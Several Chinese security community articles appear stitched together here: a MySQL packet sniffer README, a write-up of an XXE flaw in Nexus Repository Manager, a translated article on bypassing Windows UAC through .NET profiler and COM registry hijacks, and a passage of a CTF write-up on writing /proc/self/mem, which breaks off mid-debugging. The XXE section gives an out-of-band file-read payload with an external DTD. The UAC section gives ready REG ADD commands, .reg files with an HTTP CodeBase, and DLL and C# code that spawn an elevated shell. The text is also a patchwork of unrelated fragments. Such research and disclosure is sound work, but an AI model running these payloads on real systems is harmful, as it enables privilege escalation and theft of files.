当然，任何物联网设备，无论是手机，笔记本电脑，还是灯泡，黑客总是有机会将其劫持，后续我们将会在博客中介绍更多有关劫持物联网设备的技术文章。 | 社区文章 |
<https://github.com/Qihoo360/mysql-sniffer>
## 简介
MySQL Sniffer 是一个基于 MySQL 协议的抓包工具，实时抓取 MySQLServer 端或 Client
端请求，并格式化输出。输出内容包括访问时间、访问用户、来源 IP、访问
Database、命令耗时、返回数据行数、执行语句等。有批量抓取多个端口，后台运行，日志分割等多种使用方式，操作便捷，输出友好。
同时也适用抓取 Atlas 端的请求，Atlas
是奇虎开源的一款基于MySQL协议的数据中间层项目，项目地址：<https://github.com/Qihoo360/Atlas>
同类型工具还有vc-mysql-sniffer，以及 tshark 的 -e mysql.query 参数来解析 MySQL 协议。
## 使用
建议在 centos6.2 及以上编译安装，并用 root 运行。
### 依赖
glib2-devel、libpcap-devel、libnet-devel
### 安装
git clone [email protected]:Qihoo360/mysql-sniffer.git
cd mysql-sniffer
mkdir proj
cd proj
cmake ../
make
cd bin/
### 参数：
./mysql-sniffer -h
Usage mysql-sniffer [-d] -i eth0 -p 3306,3307,3308 -l /var/log/mysql-sniffer/ -e stderr
[-d] -i eth0 -r 3000-4000
-d daemon mode.
-s how often to split the log file(minute, eg. 1440). if less than 0, split log everyday
-i interface. Default to eth0
-p port, default to 3306. Multiple ports should be splited by ','. eg. 3306,3307
this option has no effect when -f is set.
-r port range, Don't use -r and -p at the same time
-l query log DIRECTORY. Make sure that the directory is accessible. Default to stdout.
-e error log FILENAME or 'stderr'. if set to /dev/null, runtime error will not be recorded
-f filename. use pcap file instead capturing the network interface
-w white list. dont capture the port. Multiple ports should be splited by ','.
-t truncation length. truncate long query if it's longer than specified length. Less than 0 means no truncation
-n keeping tcp stream count, if not set, default is 65536. if active tcp count is larger than the specified count, mysql-sniffer will remove the oldest one
## 示例
### 1\. 实时抓取某端口信息并打印到屏幕
输出格式为：时间，访问用户，来源 IP，访问 Database，命令耗时，返回数据行数，执行语句。
mysql-sniffer -i eth0 -p 3306
2017-02-23 14:47:45 testuser 10.xx.xx.xx NULL 0ms 1 select @@version_comment limit 1
2017-02-23 14:47:45 testuser 10.xx.xx.xx NULL 0ms 1 select USER()
2017-02-23 14:47:48 testuser 10.xx.xx.xx NULL 0ms 13 show databases
2017-02-23 14:47:51 testuser 10.xx.xx.xx NULL 0ms 1 SELECT DATABASE()
2017-02-23 14:47:51 testuser 10.xx.xx.xx mysql 0ms 0 use mysql
2017-02-23 14:47:53 testuser 10.xx.xx.xx mysql 0ms 29 show tables
2017-02-23 14:47:54 testuser 10.xx.xx.xx mysql 0ms 1 select 1
2017-02-23 14:48:01 testuser1 10.xx.xx.xx NULL 0ms 0 set autocommit=1
2017-02-23 14:48:01 testuser1 10.xx.xx.xx NULL 0ms 0 set autocommit=1
### 2\. 实时抓取某端口信息并打印到文件
-l 指定日志输出路径，日志文件将以 port.log 命名。
mysql-sniffer -i eth0 -p 3306 -l /tmp
### 3\. 实时抓取多个端口信息并打印到文件
-l 指定日志输出路径，-p 指定需要抓取的端口列表逗号分割。日志文件将以各自 port.log 命名。
mysql-sniffer -i eth0 -p 3306,3307,3310 -l /tmp
……
## 问题
* 有lvs环境下，如果client IP是保存在在每个连接阶段的tcp opt字段中，那么mysql-sniffer提取的真实的client IP而不是lvs的IP。
* 只能抓取新建的链接，如果是之前创建的链接将获取不到用户名和库名，并有一定几率丢包。 | 社区文章 |
**作者：r00t4dm@Cloud-Penetrating Arrow Lab & Longofo@知道创宇404实验室 **
**时间：2020年12月16日**
最近Nexus Repository Manager3[安全公告](https://support.sonatype.com/hc/en-us/sections/203012668-Security-Advisories)更新了一个XXE漏洞，虽然需要管理权限才能利用，并且Nexus
Repository
Manager3在较高的版本中也会强制更改以前较低版本使用的默认密码`admin/admin123`，最后漏洞触发也很简单，但是过程还是挺有意思，并且不会受到jdk高版本导致不能带换行的问题，列目录、读文件可以带出任意字符，除了二进制文件外，没有找到能编码的协议。
### 补丁
[diff](https://github.com/sonatype/nexus-public/compare/release-3.28.1-01...release-3.29.0-02)下最高漏洞版本3.28.1-01和修复版本3.29.0-02：
可以看到在一个SafeXml#configureValidator中做了限制加载外部dtd的操作，可以注意到这个configureValidator是新增的方法而不是在原方法中修复，但是只是个工具类。
### 漏洞复现
来到后台Saml的功能点：
看到这个大大的XML输入框就知道大概率是有XML操作的。
简单测试下能不能进行dtd请求，如果能的话很可能读取文件也可以：
点击保存就能看到进行了请求。测试了下读文件，可以利用ftp、http等协议带出单行文件，看了下jdk版本在windows是使用的自带的8u252，@r00t4dm在mac上的安装包不会自带jdk，使用的是系统的，那么linux下也是系统的，所以试用的是较低版本的jdk，是可以带换行的。后面看了下返回包，居然把异常返回到了json，那么我们可以通过报错xml将任何文本字符带出了，包括`\n`、`#`、`<`等文本字符。
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/my.dtd">
%dtd;
%send;
]>
<ANY>xxe</ANY>
dtd：
<!ENTITY % all
"<!ENTITY % send SYSTEM '%file;'>"
>
%all;
看下效果：
其他带`#`、`<`等字符的文件也都可以。
### 漏洞分析
既然configureValidator是新增的方法，而且是一个static方法，那么在最新版本中大概率就有其他类调用这个方法了来修复了。在github开源的3.29.0-02代码中搜索configureValidator，没有搜到任何结果，这个地方就很奇怪了，难道是动态隐式调用？但是前面configureValidator是一个新增的方法并且是一个静态方法，感觉不太可能动态隐式调用。因为之前也弄过Nexus的漏洞，他的安装包lib中有许多代码没有在github那个开源的仓库中，所以就反编译了3.29.0-02版本所有的lib包，一搜索configureValidator，果然有调用而且就此一处：
接着又往上搜SamlMetadataTool的调用，都是带有Saml字眼的相关类在调用。所以猜想会有个Saml的功能，去[官方文档](https://help.sonatype.com/repomanager3/system-configuration/user-authentication/saml)搜索下：
看到这个描述是不是有点激动呢？猜测就是这个位置了。按照描述去后台配置点，发现并不能使用这个SAML功能，再看文档说的式要Pro版本才能用这个功能，可以去官网[申请试用](https://www.sonatype.com/nexus/repository-pro)。
从上面的发包可以看到处理url为`/service/rest/internal/ui/saml`，在github开源部分的代码中依然是搜不到的，在反编译的代码中搜索`/ui/saml`可以找到处理类:
下面是调用栈：
前面调用栈太长就不copy出来了。
* * * | 社区文章 |
# 【技术分享】如何通过特权.NET应用绕过UAC
|
##### 译文声明
本文是翻译文章，文章来源：provadys.com
原文地址：<https://offsec.provadys.com/UAC-bypass-dotnet.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****
即使进程处于特权模式下，.NET Framework也可以通过用户定义的环境变量以及CLSID注册表项来加载Profiling
DLL或者COM组件DLL。这样一来，攻击者就可以利用自动提升权限的.NET进程（比如MMC管理单元）来加载任意DLL，从而绕过Windows
7到10系统（包括最新的RS3版本）中处于默认配置下的UAC机制。
**二、简介**
****
去年5月份时，Casey
Smith在他自己的[推特](https://twitter.com/subTee/status/864903111952875521)以及[博客](http://subt0x10.blogspot.fr/2017/05/subvert-clr-process-listing-with-net.html)上指出，在环境变量的帮助下，攻击者可以利用 .NET profiler
DLL加载机制迫使合法的.NET应用加载恶意DLL。
刚得知这些信息时，我首先想到的是，“如果这种情况也适用于特权.NET进程，那么这无疑又是绕过UAC的一个绝佳方法”。事实证明的确如此。
本文成稿时，这个问题还没有被修复，可能现在依然处于未修复状态。由于Stefan
Kanthak独自发现、报告并公布了[全部细节](http://seclists.org/fulldisclosure/2017/Jul/11)，因此自7月以来，所有人都已经知道了具体方法。
**三、绕过UAC**
****
我们可以使用如下环境变量，使.NET应用加载任意DLL：
COR_ENABLE_PROFILING=1 COR_PROFILER={GUID} COR_PROFILER_PATH=C:pathtosome.dll
对于4.0以下版本的 .NET，我们必须在注册表中的 **HKCRCLSID{GUID}InprocServer32**
路径下定义CLSID键值，并包含profiling DLL的具体路径。在最新的版本中，CLR（Common Language
Runtime，公共语言运行库）使用 **CORPROFILERPATH** 这个环境变量来寻找DLL，如果未定义 **CORPROFILERPATH**
环境变量，那么CLR会继续使用CLSID这种寻路机制。
**HKCRCLSID** 同时代表着HKLM以及HKCU中的 **SoftwareClassesCLSID**
路径。在HKLM（或者主机级别的环境变量）中创建CLSID键值需要提升权限，然而在HKCU中创建相应键值却可以绕过权限限制。关键点在于，
**用户级别的环境变量以及注册表项不会对程序的正常运行造成任何影响** 。
现在，我们只需要一个可以自动提升权限（默认设置下不会出现UAC提示符）的可执行程序，然后使用 .NET CLR来加载我们伪造的profiler
DLL即可。MMC是非常适合的一个目标，在我的测试过程中，我使用的是gpedit MMC，当然还有其他MMC可用（稍后我会给出具体列表）。
我们只需要如下几条批处理命令，就能完成这个任务：
REG ADD "HKCUSoftwareClassesCLSID{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}InprocServer32" /ve /t REG_EXPAND_SZ /d "C:Temptest.dll" /f
REG ADD "HKCUEnvironment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCUEnvironment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
REG ADD "HKCUEnvironment" /v "COR_PROFILER_PATH" /t REG_SZ /d "C:Temptest.dll" /f
mmc gpedit.msc
在普通权限的命令提示符中运行这些命令后，我们就可以在mmc.exe特权进程中加载 **C:Temptest.dll** （当然前提是这个文件存在）。
通过这种方式，我们可以绕过Windows 7到10系统（包括最新的RS3版本）上使用默认配置的UAC机制。
PowerShell版本的PoC代码参考[此链接](https://gist.github.com/clavoillotte/f2fba9fa4ba8db14093a62164963d4a9)，PoC中内置了一个64位的DLL。
这个DLL仅有的功能是当DLLPROCESSATTACH时运行cmd.exe，获得特权命令行shell，然后立刻退出当前进程以避免弹出MMC控制台。
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { char cmd[] = "cmd.exe";
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
WinExec(cmd, SW_SHOWNORMAL);
ExitProcess(0);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
PoC代码已在x64版的Windows 7、8.1、10 1703以及10 RS3 build 16275上测试通过。
当然，如果你使用的是SMB共享形式的UNC路径，PoC代码也能正常工作：
COR_PROFILER_PATH=\serversharetest.dll
**四、根本原因**
****
虽然在特权进程中运行时，COM运行时会禁止在 **用户注册表（HKCU）**
中搜索CLSID键值，以避免UAC被绕过，然而.NET运行时却没有这么做，并且在本文演示的场景中，查找过程由后者发起，负责组件的查找工作：
为了修复这个问题，CLR应该使用与COM类似的检查过程。
**五、其他可用实例**
****
既然我们已理清CLR的工作过程，我们可以观察栈中的CLR调用，检查HKCU中具体搜索的CLSID，找到其他可用实例。GPEdit中存在另一个可用的实例，也就是“
**Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager**
”组件（在我测试用的虚拟机上为CLSID {B29D466A-857D-35BA-8712-A758861BFEA1}）：
观察HKCR中已有的键值，我们发现该组件本身似乎就是使用CLR程序集（assembly）来实现：
我们可以使用如下方式在用户注册表中定义一则COM表项（保存为.reg文件）：
Windows Registry Editor Version 5.00
[HKEYCURRENTUSERSoftwareClassesCLSID{B29D466A-857D-35BA-8712-A758861BFEA1}] @="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"
[HKEYCURRENTUSERSoftwareClassesCLSID{B29D466A-857D-35BA-8712-A758861BFEA1}Implemented Categories]
[HKEYCURRENTUSERSoftwareClassesCLSID{B29D466A-857D-35BA-8712-A758861BFEA1}Implemented Categories{62C8FE65-4EBB-45E7-B440-6E39B2CDBF29}]
[HKEYCURRENTUSERSoftwareClassesCLSID{B29D466A-857D-35BA-8712-A758861BFEA1}InprocServer32] @="C:WindowsSystem32mscoree.dll" "Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral" "Class"="TestDotNet.Class1" "RuntimeVersion"="v4.0.30319" "ThreadingModel"="Both" "CodeBase"="file://C://Temp//test_managed.dll"
[HKEYCURRENTUSERSoftwareClassesCLSID{B29D466A-857D-35BA-8712-A758861BFEA1}InprocServer3210.0.0.0] "Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral" "Class"="TestDotNet.Class1" "RuntimeVersion"="v4.0.30319" "CodeBase"="file://C://Temp//test_managed.dll"
[HKEYCURRENTUSERSoftwareClassesCLSID{B29D466A-857D-35BA-8712-A758861BFEA1}ProgId] @="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"
MMC随后就会加载我们构造的DLL，并会尝试访问TestDotNet.Class1类。默认情况下，C#无法像DllMain那样，创建一个简单便捷的DLL入口点（我们也不想专门为此写一个模块初始化程序，因为我们很懒），但注册表中引用的那个类似乎会被加载，因此，我们可以使用静态构造函数来执行我们的提权代码：
using System;
using System.Diagnostics;
namespace TestDotNet
{
public class Class1
{
static Class1()
{
Process.Start("cmd.exe");
Environment.Exit(0);
}
}
}
DLL以及相应的注册表项准备就绪后，现在运行gpedit.msc，我们就会得到一个高权限shell（这次是通过一个 .NET DLL来实现）：
这种方法比较有趣的一点在于，CodeBase参数不必局限于本地文件以及SMB共享文件，使用HTTP URL地址也可以完成加载：
"CodeBase"="http://server:8080/test_managed.dll"
所下载的DLL需要保存到磁盘中，因此，相对比本地DLL而言，这种方法更容易被检测到（因为涉及到磁盘+网络行为）。
攻击者喜闻乐见的是，有多个CLSID可以用于这种方法。
比如，compmgmt.msc、eventvwr.msc、secpol.msc以及taskschd.msc可以使用如下方法实现UAC绕过目的：
将“ **Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory** ”组件作为托管DLL。
Windows Registry Editor Version 5.00
[HKEYCURRENTUSERSoftwareClassesCLSID{D5AB5662-131D-453D-88C8-9BBA87502ADE}] @="Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory"
[HKEYCURRENTUSERSoftwareClassesCLSID{D5AB5662-131D-453D-88C8-9BBA87502ADE}Implemented Categories]
[HKEYCURRENTUSERSoftwareClassesCLSID{D5AB5662-131D-453D-88C8-9BBA87502ADE}Implemented Categories{62C8FE65-4EBB-45e7-B440-6E39B2CDBF29}]
[HKEYCURRENTUSERSoftwareClassesCLSID{D5AB5662-131D-453D-88C8-9BBA87502ADE}InprocServer32] @="C:WindowsSystem32mscoree.dll" "Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral" "Class"="TestDotNet.Class1" "RuntimeVersion"="v2.0.50727" "ThreadingModel"="Both" "CodeBase"="file://C://Temp//test_managed.dll"
[HKEYCURRENTUSERSoftwareClassesCLSID{D5AB5662-131D-453D-88C8-9BBA87502ADE}InprocServer323.0.0.0] "Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral" "Class"="TestDotNet.Class1" "RuntimeVersion"="v2.0.50727" "CodeBase"="file://C://Temp//test_managed.dll"
将“NDP SymBinder”作为原生DLL，通过 **Server** 入口进行劫持。
Windows Registry Editor Version 5.00
[HKEYCURRENTUSERSoftwareClassesCLSID{0A29FF9E-7F9C-4437-8B11-F424491E3931}] @="NDP SymBinder"
[HKEYCURRENTUSERSoftwareClassesCLSID{0A29FF9E-7F9C-4437-8B11-F424491E3931}InprocServer32] @="C:WindowsSystem32mscoree.dll" "ThreadingModel"="Both"
[HKEYCURRENTUSERSoftwareClassesCLSID{0A29FF9E-7F9C-4437-8B11-F424491E3931}InprocServer324.0.30319] @="4.0.30319" "ImplementedInThisVersion"=""
[HKEYCURRENTUSERSoftwareClassesCLSID{0A29FF9E-7F9C-4437-8B11-F424491E3931}ProgID] @="CorSymBinder_SxS"
[HKEYCURRENTUSERSoftwareClassesCLSID{0A29FF9E-7F9C-4437-8B11-F424491E3931}Server] @="C:Temptest_unmanaged.dll"
将“ **Microsoft Common Language Runtime Meta Data** ”组件作为原生DLL，通过 **Server**
入口进行劫持（仅适用于secpol.msc）。
Windows Registry Editor Version 5.00
[HKEYCURRENTUSERSoftwareClassesCLSID{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}] @="Microsoft Common Language Runtime Meta Data"
[HKEYCURRENTUSERSoftwareClassesCLSID{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}InprocServer32] @="C:WindowsSystem32mscoree.dll" "ThreadingModel"="Both"
[HKEYCURRENTUSERSoftwareClassesCLSID{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}InprocServer324.0.30319] @="4.0.30319" "ImplementedInThisVersion"=""
[HKEYCURRENTUSERSoftwareClassesCLSID{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}ProgID] @="CLRMetaData.CorRuntimeHost.2"
[HKEYCURRENTUSERSoftwareClassesCLSID{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}Server] @="........Temptest_unmanaged.dll"
注意：这里所使用的路径必须是相对路径，否则mmc.exe会尝试加载
**C:WindowsMicrosoft.NETFramework64v4.0.30319C:Temptest_unmanaged.dll** 。
**六、不安全的安全屏障**
****
微软曾反复表态，称UAC并不是一个安全屏障。安全人员通常会使用更加贴切实际的语言来描述这一点：不要信任UAC，不要以split-token管理员身份运行，非管理员任务始终使用非管理员用户权限运行。我十分赞同这段话。
尽管如此，许多人仍然会以本地管理员身份来运行，这些人正是渗透测试人员（或者红队）以及攻击者的目标。因此我认为会有人对这项技术感兴趣。
就渗透测试而言，我推荐@tiraniddo使用的[通用方法](https://tyranidslair.blogspot.fr/2017/05/reading-your-way-around-uac-part-1.html)（具体实现样例可参考[此链接](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1)，另一种实现[方法](https://twitter.com/enigma0x3/status/907397236627329024)很快就会公布），此方法不需要加载DLL，目前大多数EDR（端点检测与响应）解决方案都无法捕获这种方法。
此外，如果你对绕过UAC非常感兴趣，关于这主题网上有许多参考资料，但以下几份资料为必修课：
[@enigma0x3](https://twitter.com/enigma0x3)的[研究成果](https://enigma0x3.net/)（以及他即将在DerbyCon上做的[演讲](https://www.derbycon.com/saturday-schedule/#event-111)内容）。
[@tiraniddo](http://local://base_request.html/@tiraniddo)写的使用[SilentCleanup](https://tyranidslair.blogspot.fr/2017/05/exploiting-environment-variables-in.html)计划任务以及进程令牌绕过UAC的技术：第[1](https://tyranidslair.blogspot.fr/2017/05/reading-your-way-around-uac-part-1.html)、[2](https://tyranidslair.blogspot.fr/2017/05/reading-your-way-around-uac-part-2.html)、[3](https://tyranidslair.blogspot.fr/2017/05/reading-your-way-around-uac-part-3.html)部分。
[@hFireF0X](https://twitter.com/hfiref0x)创建的[UACME项目](https://github.com/hfiref0x/UACME)，囊括了绝大部分已知的UAC绕过方法，他在[内核模式](http://www.kernelmode.info/forum/viewtopic.php?f=11&t=3643)方面也做了相关研究。
[@FuzzySec](https://twitter.com/fuzzysec)的[UAC工作组](https://github.com/FuzzySecurity/DefCon25)以及[Bypass-UAC](https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC)项目，使用PowerShell实现了多种绕过技术。
非常感谢Casey Smith（[@subtee](https://twitter.com/subTee)）关于 .NET profiler
DLL的提示，感谢微软开发者在问题根源方面给的提示，感谢Matt
Graeber（[@mattifestation](https://twitter.com/mattifestation/)）审阅本文并提出建议。
**七、时间线**
****
2017-05-19 发现UAC绕过问题。
2017-05-20 发邮件给MSRC。
2017-05-22 MSRC创建#38811案例。
2017-05-20/23 与MS开发团队就细节问题进行讨论。
2017-06-24 MSRC回复称：“经过我们的调查，我们认为这种案例不属于安全问题。UAC并非安全屏障。”
2017-07-05 Stefan Kanthak详细公布了这种UAC绕过方法。
2017-09-15 本文发表。 | 社区文章 |
## 前言
在2019年的`bamboofox
CTF`我做到了一道非传统的pwn题，之后队友在做一道`沙箱逃逸`题目的时候也用到了相同的技巧，并找到了原型题目，由于后者已经有详细的题解，本文不再展开过多细节，后面会放参考链接供大家学习。
## bamboofox CTF 2019 abw
### 程序分析 && 漏洞利用
题目给了一个压缩包，里面有`Dockerfile`以及`docker-compose.yml`让选手搭建本地环境，其中`Dockerfile`内容如下：
FROM ubuntu:18.04
MAINTAINER Billy
RUN apt-get update
RUN apt-get upgrade -y
RUN apt-get install xinetd -y
RUN apt-get install python3 -y
RUN useradd -m abw
COPY ./share /home/abw
COPY ./xinetd /etc/xinetd.d/abw
COPY ./flag /home/abw/flag
RUN chmod 774 /tmp
RUN chmod -R 774 /var/tmp
RUN chmod -R 774 /dev
RUN chmod -R 774 /run
RUN chmod 1733 /tmp /var/tmp /dev/shm
RUN chown -R root:root /home/abw
CMD ["/usr/sbin/xinetd","-dontfork"]
`docker-compose.yml`内容如下，可以看到是开放`12345`端口监听`abw`服务
abw:
build: ./
environment:
- OLDPWD=/home
- XDG_RUNTIME_DIR=/run/user/1000
- LESSOPEN=| /usr/bin/lesspipe %s
- LANG=en_US
- SHLVL=1
- SHELL=/bin/bash
- FLAG=/
- ROOT=/
- TCP_PORT=12345
- PORT=12345
- X_PORT=12345
- SERVICE=abw
- XPC_FLAGS=0x0
- TMPDIR=/tmp
- RBENV_SHELL=bash
ports:
- "12345:12345"
expose:
- "12345"
`xinetd`文件创建了一个服务
service abw
{
disable = no
type = UNLISTED
wait = no
server = /home/abw/run.sh
socket_type = stream
protocol = tcp
user = abw
port = 12345
flags = REUSE
per_source = 5
rlimit_cpu = 3
nice = 18
}
``run.sh`文件实际上是执行`/home/abw/abw`
exec 2> /dev/null
timeout 60 /home/abw/abw
而这个文件实际上是一些代码，代码的解释器为`python3`，这里为了方便调试我直接在docker里把`python3`拷贝了出来并重命名为`py3_remote`
#./py3_remote
print( "Write File")
filename = input("File Name :")
with open(filename,"wb") as file:
seek = int(input("Seek :"))
file.seek(seek)
file.write(bytes.fromhex(input("Data (hex):")[:20]))
至此我们已经找到了核心的程序逻辑，即给我们`10字节`写任意文件任意`offset`的机会，之后程序结束。这里我们写入的对象就是今天要介绍的`/proc/self/mem`，`/proc`顾名思义是存储进程相关的文件的目录,`/proc/$pid/`存储的是进程号为`pid`的进程的相关文件。`/proc/self/`存储的是同本进程相关的文件。
这里引用百度百科比较权威的解释
>
> proc文件系统是一个伪文件系统，它只存在内存当中，而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。用户和应用程序可以通过proc得到系统的信息，并可以改变内核的某些参数。由于系统的信息，如进程，是动态改变的，所以用户或应用程序读取proc文件时，proc文件系统是动态从系统内核读出所需信息并提交的。
wz@wz-virtual-machine:~/Desktop/CTF/bamboofox/abw/release/share$ ll /proc/self/
total 0
dr-xr-xr-x 9 wz wz 0 2月 18 15:16 ./
dr-xr-xr-x 371 root root 0 2月 18 14:32 ../
-r--r--r-- 1 wz wz 0 2月 18 15:16 arch_status
dr-xr-xr-x 2 wz wz 0 2月 18 15:16 attr/
-rw-r--r-- 1 wz wz 0 2月 18 15:16 autogroup
-r-------- 1 wz wz 0 2月 18 15:16 auxv
-r--r--r-- 1 wz wz 0 2月 18 15:16 cgroup
--w------- 1 wz wz 0 2月 18 15:16 clear_refs
-r--r--r-- 1 wz wz 0 2月 18 15:16 cmdline
-rw-r--r-- 1 wz wz 0 2月 18 15:16 comm
-rw-r--r-- 1 wz wz 0 2月 18 15:16 coredump_filter
-r--r--r-- 1 wz wz 0 2月 18 15:16 cpuset
lrwxrwxrwx 1 wz wz 0 2月 18 15:16 cwd -> /home/wz/Desktop/CTF/bamboofox/abw/release/share/
-r-------- 1 wz wz 0 2月 18 15:16 environ
lrwxrwxrwx 1 wz wz 0 2月 18 15:16 exe -> /bin/ls*
dr-x------ 2 wz wz 0 2月 18 15:16 fd/
dr-x------ 2 wz wz 0 2月 18 15:16 fdinfo/
-rw-r--r-- 1 wz wz 0 2月 18 15:16 gid_map
-r-------- 1 wz wz 0 2月 18 15:16 io
-r--r--r-- 1 wz wz 0 2月 18 15:16 limits
-rw-r--r-- 1 wz wz 0 2月 18 15:16 loginuid
dr-x------ 2 wz wz 0 2月 18 15:16 map_files/
-r--r--r-- 1 wz wz 0 2月 18 15:16 maps
-rw------- 1 wz wz 0 2月 18 15:16 mem
-r--r--r-- 1 wz wz 0 2月 18 15:16 mountinfo
-r--r--r-- 1 wz wz 0 2月 18 15:16 mounts
-r-------- 1 wz wz 0 2月 18 15:16 mountstats
dr-xr-xr-x 5 wz wz 0 2月 18 15:16 net/
dr-x--x--x 2 wz wz 0 2月 18 15:16 ns/
-r--r--r-- 1 wz wz 0 2月 18 15:16 numa_maps
...
这里有两个做题常见到的文件，一个是`/proc/self/maps`，其存储了本进程的虚拟地址信息(如下图是`/bin/cat`的进程地址信息)
wz@wz-virtual-machine:~/Desktop/CTF/bamboofox/abw/release/share$ cat /proc/self/maps
559bcc7cb000-559bcc7d3000 r-xp 00000000 08:01 3145753 /bin/cat
559bcc9d2000-559bcc9d3000 r--p 00007000 08:01 3145753 /bin/cat
559bcc9d3000-559bcc9d4000 rw-p 00008000 08:01 3145753 /bin/cat
559bce338000-559bce359000 rw-p 00000000 00:00 0 [heap]
7fb685a8b000-7fb68645a000 r--p 00000000 08:01 4463216 /usr/lib/locale/locale-archive
7fb68645a000-7fb686641000 r-xp 00000000 08:01 8917973 /lib/x86_64-linux-gnu/libc-2.27.so
7fb686641000-7fb686841000 ---p 001e7000 08:01 8917973 /lib/x86_64-linux-gnu/libc-2.27.so
7fb686841000-7fb686845000 r--p 001e7000 08:01 8917973 /lib/x86_64-linux-gnu/libc-2.27.so
7fb686845000-7fb686847000 rw-p 001eb000 08:01 8917973 /lib/x86_64-linux-gnu/libc-2.27.so
7fb686847000-7fb68684b000 rw-p 00000000 00:00 0
7fb68684b000-7fb686872000 r-xp 00000000 08:01 8917945 /lib/x86_64-linux-gnu/ld-2.27.so
7fb686a37000-7fb686a5b000 rw-p 00000000 00:00 0
7fb686a72000-7fb686a73000 r--p 00027000 08:01 8917945 /lib/x86_64-linux-gnu/ld-2.27.so
7fb686a73000-7fb686a74000 rw-p 00028000 08:01 8917945 /lib/x86_64-linux-gnu/ld-2.27.so
7fb686a74000-7fb686a75000 rw-p 00000000 00:00 0
7ffd04a30000-7ffd04a51000 rw-p 00000000 00:00 0 [stack]
7ffd04a81000-7ffd04a84000 r--p 00000000 00:00 0 [vvar]
7ffd04a84000-7ffd04a85000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
另一个就是`/proc/self/mem`，这个虚拟文件是进程空间映射出来的，大家可以理解成这个文件和进程对应的静态二进制文件是关联且对应的，对这个文件进行写将改变进程的内存空间。具体地，如果我们在文件的`offset`偏移处写`val`，则进程的虚拟地址`offset`处的内容也被更改为`val`。如果`offset`为`.text`段的一个合法地址`addr`，则这个地址的代码就被更改为`disasm(val)`。
这两个文件还可以用于进程注入，具体可以参考[无需Ptrace就能实现Linux进程间代码注入](https://zhuanlan.zhihu.com/p/29264608)
查看一下`python3`的保护机制发现没有`PIE`，因此我们可以修改进程的代码段。
wz@wz-virtual-machine:~/Desktop/CTF/bamboofox/abw/release/share$ checksec ./py3_remote
[*] '/home/wz/Desktop/CTF/bamboofox/abw/release/share/py3_remote'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
IDA看一下`python3`的代码，其大概流程是为代码分配空间->对代码进行解码->交予`Py_Main`执行->释放内存空间->程序结束。鉴于我们只有10字节可写，我们第一步是寻找一个合适的地方注入gadgets扩大读更多的gadgets。这个地址须得是程序一定能执行到的地方，我们从程序的结束部分开始找，发现在`0x4B0F71`是`main`函数收尾的地方。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ebp
__int64 v4; // r13
__int64 v5; // rax
__int64 v6; // r12
char *v7; // rax
const char *v8; // r15
__int64 v9; // rbx
__int64 v10; // rax
__int64 v11; // rax
const char *v12; // rdi
__int64 v13; // r15
int v14; // er14
__int64 v15; // rdi
v3 = argc;
PyMem_SetupAllocators("malloc");
v4 = PyMem_RawMalloc(8LL * (argc + 1));
v5 = PyMem_RawMalloc(8LL * (argc + 1));
if ( v4 && (v6 = v5) != 0 && (v7 = setlocale(6, 0LL), (v8 = (const char *)PyMem_RawStrdup(v7)) != 0LL) )
{
v9 = 0LL;
setlocale(6, &locale);
while ( argc > (signed int)v9 )
{
v10 = Py_DecodeLocale((__int64)argv[v9], 0LL);
*(_QWORD *)(v4 + 8 * v9) = v10;
if ( !v10 )
{
v14 = 1;
PyMem_RawFree(v8);
__fprintf_chk(stderr, 1LL, "Fatal Python error: unable to decode the command line argument #%i\n");
return v14;
}
*(_QWORD *)(v6 + 8 * v9++) = v10;
}
v11 = argc;
*(_QWORD *)(v4 + 8 * v11) = 0LL;
*(_QWORD *)(v6 + 8 * v11) = 0LL;
setlocale(6, v8);
v12 = v8;
v13 = 0LL;
PyMem_RawFree(v12);
v14 = Py_Main(v3, v4);
PyMem_SetupAllocators("malloc");
while ( v3 > (signed int)v13 )
{
v15 = *(_QWORD *)(v6 + 8 * v13++);
PyMem_RawFree(v15);
}
PyMem_RawFree(v4);
PyMem_RawFree(v6);
}
else
{
v14 = 1;
__fprintf_chk(stderr, 1LL, "out of memory\n");
}
return v14;
}
/*
loc_4B0F71:
add rsp, 18h
mov eax, r14d
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
retn
*/
在gdb调试看一下(r之后ctrl+d进入结束部分)
gdb ./py3_remote
set arch i386:x86-64:intel
b* 0x4b0f71
